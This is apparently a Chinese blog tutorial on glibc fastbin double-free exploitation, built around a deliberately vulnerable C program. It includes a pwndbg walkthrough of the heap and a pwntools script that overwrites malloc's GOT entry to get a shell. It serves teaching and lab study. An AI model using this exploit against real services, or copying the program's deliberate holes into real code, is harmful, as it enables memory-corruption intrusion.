Fastbin Double Free

6 篇文章 1 订阅

似水流年月下花前 一舞倾城醉红颜
岁暮天寒月缺花残 独留孤影忆从前

简介

fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法,而fastbin_double_free就是其中的一种,这类漏洞利用的前提是:
存在堆溢出、use-after-free等能控制chunk内容的漏洞
漏洞发生于fastbin类型的chunk中
Fastbin Double Free就是其字面所表达的意思,当一个内存被释放之后再次被释放,就是Free()了同一块内存多次,其精髓在于多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果


原理

Fastbin Double Free 能够成功利用主要有两部分的原因:
fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证
通俗的讲就是当我们申请的一块chunk被释放后,它将以单链的形式被串在fastbin中,然后会有一个fast指针指向最后一个链上来了的chunk,当下一个chunk被释放后,将被链在上一个chunk的前面,fast指针向前移动


实例

heap.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void sh(char *id)
{
	system(id);	
}

int main()
{
	setvbuf(stdout,0,_IONBF,0);
	int cmd,idx,sz;
	char *ptr[10];
	memset(ptr,0,sizeof(ptr));
	puts("1.malloc+gets\n2.free\n3.puts\n");
	while(1)
	{
		printf("> ");
		scanf("%d %d",&cmd,&idx); //这里cmd是选择功能,idx是为了区分申请的第几个chunk
		idx %= 10;
		if(cmd==1)
		{
			scanf("%d%*c",&sz);
			ptr[idx] = malloc(sz);
			gets(ptr[idx]);
		}
		else if(cmd==2)
		{
			free(ptr[idx]);
		}
		else if(cmd==3)
		{
			puts(ptr[idx]);
		}
		else
		{
			exit(0);
		}
	}
 	return 0;
}

编译:

gcc -no-pie heap.c -o heap -g -w

分析:
这个程序主要有3个功能,malloc+gets申请一块chunk并且向chunk中写入一段内容,free释放一块chunk,puts打印出一个chunk,很明显这个程序中有double_free漏洞
先运行程序看看:

root@sir-PC:/home/sir/desktop# ./heap
1.malloc+gets
2.free
3.puts

> 1 0
25 aaaabbbb
> 3 0
aaaabbbb
> 2 0
> 

double_free的基本思路:
为了使操作更简单每次我们的操作的chunk的大小都应该相同
首先先申请两块chunk:ptr[0]和ptr[1],随便写入8字节的内容,然后分别free(ptr[0]),free(ptr[1]),free(ptr[0]),此时在ptr[0]和ptr[1]之间形成了一个双向链表,然后我们再申请一个chunk:ptr[2],写入我们需要修改的地址,然后在申请两个chunk:ptr[3]和ptr[4],随便写入8字节的内容,最后再次申请一个chunk:ptr[5],此时写入我们需要修改成的内容,就可以实现任意地址内容修改了


演示

现在我们来演示一下:

root@sir-PC:/home/sir/desktop# gdb heap
GNU gdb (Debian 7.12-6+b2) 7.12.0.20161007-git
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from heap...done.
pwndbg> b 20
Breakpoint 1 at 0x40083b: file heap.c, line 20.
pwndbg> r
Starting program: /home/sir/desktop/heap 
1.malloc+gets
2.free
3.puts


Breakpoint 1, main () at heap.c:20
20			printf("> ");
pwndbg> n
1 0
pwndbg> c
Continuing.
25 aaaabbbb   #申请第一次ptr[0]
pwndbg> p ptr[0]
$1 = 0x602670 "aaaabbbb"
pwndbg> x/20gx 0x602670-16
0x602660:	0x0000000000000000	0x0000000000000031
0x602670:	0x6262626261616161	0x0000000000000000
0x602680:	0x0000000000000000	0x0000000000000000
0x602690:	0x0000000000000000	0x0000000000020971
0x6026a0:	0x0000000000000000	0x0000000000000000
0x6026b0:	0x0000000000000000	0x0000000000000000
0x6026c0:	0x0000000000000000	0x0000000000000000
0x6026d0:	0x0000000000000000	0x0000000000000000
0x6026e0:	0x0000000000000000	0x0000000000000000
0x6026f0:	0x0000000000000000	0x0000000000000000
pwndbg> c
Continuing.
> 1 1
25 qqqqssss   #申请第二次ptr[1]
pwndbg> x/20gx 0x602670-16
0x602660:	0x0000000000000000	0x0000000000000031
0x602670:	0x6262626261616161	0x0000000000000000
0x602680:	0x0000000000000000	0x0000000000000000
0x602690:	0x0000000000000000	0x0000000000000031
0x6026a0:	0x7373737371717171	0x0000000000000000
0x6026b0:	0x0000000000000000	0x0000000000000000
0x6026c0:	0x0000000000000000	0x0000000000020941
0x6026d0:	0x0000000000000000	0x0000000000000000
0x6026e0:	0x0000000000000000	0x0000000000000000
0x6026f0:	0x0000000000000000	0x0000000000000000
pwndbg> c
Continuing.
> 2 0  #释放ptr[0]
pwndbg> x/20gx 0x602670-16
0x602660:	0x0000000000000000	0x0000000000000031
0x602670:	0x0000000000000000	0x0000000000000000
0x602680:	0x0000000000000000	0x0000000000000000
0x602690:	0x0000000000000000	0x0000000000000031
0x6026a0:	0x7373737371717171	0x0000000000000000
0x6026b0:	0x0000000000000000	0x0000000000000000
0x6026c0:	0x0000000000000000	0x0000000000020941
0x6026d0:	0x0000000000000000	0x0000000000000000
0x6026e0:	0x0000000000000000	0x0000000000000000
0x6026f0:	0x0000000000000000	0x0000000000000000
pwndbg> c
Continuing.
> 2 1  #释放ptr[1]
pwndbg> x/20gx 0x602670-16
0x602660:	0x0000000000000000	0x0000000000000031
0x602670:	0x0000000000000000	0x0000000000000000
0x602680:	0x0000000000000000	0x0000000000000000
0x602690:	0x0000000000000000	0x0000000000000031
0x6026a0:	0x0000000000602670	0x0000000000000000 //bp指向0x602670 ptr[0]
0x6026b0:	0x0000000000000000	0x0000000000000000
0x6026c0:	0x0000000000000000	0x0000000000020941
0x6026d0:	0x0000000000000000	0x0000000000000000
0x6026e0:	0x0000000000000000	0x0000000000000000
0x6026f0:	0x0000000000000000	0x0000000000000000
pwndbg> c
Continuing.
> 2 0	#再次释放ptr[0]
pwndbg> x/20gx 0x602670-16
0x602660:	0x0000000000000000	0x0000000000000031
0x602670:	0x00000000006026a0	0x0000000000000000 //bp指向0x6026a0 ptr[1]
0x602680:	0x0000000000000000	0x0000000000000000
0x602690:	0x0000000000000000	0x0000000000000031
0x6026a0:	0x0000000000602670	0x0000000000000000
0x6026b0:	0x0000000000000000	0x0000000000000000
0x6026c0:	0x0000000000000000	0x0000000000020941
0x6026d0:	0x0000000000000000	0x0000000000000000
0x6026e0:	0x0000000000000000	0x0000000000000000
0x6026f0:	0x0000000000000000	0x0000000000000000

此时我们double_free的工作就做完了,现在我们来修改一个任意地址的内容,为了方便输入我们就修改0x602660这个地址的内容,我们看到了0x602660原来的值为0,我们将其修改为AAAAAAAA,即0x4141414141414141

pwndbg> c
Continuing.
> 1 2
25 `&`		#申请第三次ptr[2],写入0x602660
pwndbg> x/20gx 0x602670-16
0x602660:	0x0000000000000000	0x0000000000000031
0x602670:	0x0000000000602660	0x0000000000000000	//ptr[2],即原来的ptr[0]
0x602680:	0x0000000000000000	0x0000000000000000
0x602690:	0x0000000000000000	0x0000000000000031
0x6026a0:	0x0000000000602670	0x0000000000000000
0x6026b0:	0x0000000000000000	0x0000000000000000
0x6026c0:	0x0000000000000000	0x0000000000020941
0x6026d0:	0x0000000000000000	0x0000000000000000
0x6026e0:	0x0000000000000000	0x0000000000000000
0x6026f0:	0x0000000000000000	0x0000000000000000
pwndbg> c
Continuing.
> 1 3
25 aaaabbbb	#申请第四次ptr[3]
pwndbg> x/20gx 0x602670-16
0x602660:	0x0000000000000000	0x0000000000000031
0x602670:	0x0000000000602660	0x0000000000000000
0x602680:	0x0000000000000000	0x0000000000000000
0x602690:	0x0000000000000000	0x0000000000000031
0x6026a0:	0x6262626261616161	0x0000000000000000	//ptr[3],即原来的ptr[1]
0x6026b0:	0x0000000000000000	0x0000000000000000
0x6026c0:	0x0000000000000000	0x0000000000020941
0x6026d0:	0x0000000000000000	0x0000000000000000
0x6026e0:	0x0000000000000000	0x0000000000000000
0x6026f0:	0x0000000000000000	0x0000000000000000
pwndbg> c
Continuing.
> 1 4
25 qqqqssss	#申请第五次ptr[4]
pwndbg> x/20gx 0x602670-16
0x602660:	0x0000000000000000	0x0000000000000031
0x602670:	0x7373737371717171	0x0000000000000000 //ptr[4],将ptr[2]覆盖了
0x602680:	0x0000000000000000	0x0000000000000000
0x602690:	0x0000000000000000	0x0000000000000031
0x6026a0:	0x6262626261616161	0x0000000000000000
0x6026b0:	0x0000000000000000	0x0000000000000000
0x6026c0:	0x0000000000000000	0x0000000000020941
0x6026d0:	0x0000000000000000	0x0000000000000000
0x6026e0:	0x0000000000000000	0x0000000000000000
0x6026f0:	0x0000000000000000	0x0000000000000000

如果我们再次申请一块chunk,我们就在0x602660的位置写入我们想要的东西了,因为此时fast指针已经指向了0x602660的位置了

pwndbg> c
Continuing.
> 1 5
25 AAAAAAAA	第六次申请ptr[5]
pwndbg> x/20gx 0x602670-16
0x602660:	0x4141414141414141	0x0000000000000000 //已经被修改了
0x602670:	0x7373737371717171	0x0000000000000000
0x602680:	0x0000000000000000	0x0000000000000000
0x602690:	0x0000000000000000	0x0000000000000031
0x6026a0:	0x6262626261616161	0x0000000000000000
0x6026b0:	0x0000000000000000	0x0000000000000000
0x6026c0:	0x0000000000000000	0x0000000000020941
0x6026d0:	0x0000000000000000	0x0000000000000000
0x6026e0:	0x0000000000000000	0x0000000000000000
0x6026f0:	0x0000000000000000	0x0000000000000000

很明显0x602660位置的内容已经被我们修改了,如果我们把0x602660换成一个特殊的地址,比如malloc函数got表的地址,然后将其换成sh()函数的地址,那么当我们再次调用malloc函数的时候就会去调用sh()函数了


EXP

sir@sir-PC:~/desktop$ objdump -R heap

heap:     文件格式 elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000600ff0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5
0000000000600ff8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000601078 R_X86_64_COPY     stdout@@GLIBC_2.2.5
0000000000601018 R_X86_64_JUMP_SLOT  free@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT  system@GLIBC_2.2.5
0000000000601030 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
0000000000601038 R_X86_64_JUMP_SLOT  memset@GLIBC_2.2.5
0000000000601040 R_X86_64_JUMP_SLOT  gets@GLIBC_2.2.5
0000000000601048 R_X86_64_JUMP_SLOT  malloc@GLIBC_2.2.5
0000000000601050 R_X86_64_JUMP_SLOT  setvbuf@GLIBC_2.2.5
0000000000601058 R_X86_64_JUMP_SLOT  __isoc99_scanf@GLIBC_2.7
0000000000601060 R_X86_64_JUMP_SLOT  exit@GLIBC_2.2.5

pwndbg> p sh
$2 = {void (char *)} 0x4007d7 <sh>

所以我们只需要将0x601048的内容修改为0x4007d7就可以了,但是因为system()函数需要一个参数’sh’,所以我们从0x601040位置开始写入,将0x601040写入’sh‘,然后在最后再次调用malloc函数时,将sz参数换为’sh‘的地址就可以了,但是要注意的是输入的sz形式为%d,所以需要将0x601040换为十进制,即6295616

from pwn import *
context.log_level = 'debug'
p = process('./heap')
elf =ELF('./heap')
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
    gdb.attach(p)
def cmd(x):
    p.recvuntil('> ')
    p.send(x+'\n')

def molloc(i,s):
    cmd('1 %d\n25 %s'%(i,s))

def free(i):
    cmd('2 %d'%i)
    
def put(i):
    cmd('3 %d'%i)

molloc(0,'a'*8)
molloc(1,'b'*8)
free(0)
free(1)
free(0)

molloc(2,p64(0x0601040))
molloc(3,'/bin/sh')
molloc(4,'/bin/sh')
x = p64(0x6873) + p64(0x4007d7) #0x6873 = 'sh'
molloc(5,x)

p.recvuntil('> ')
p.sendline('1 6')
p.sendline('6295616 aaaaaaaa')  # 0x601040 = 6295616
p.interactive()
  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值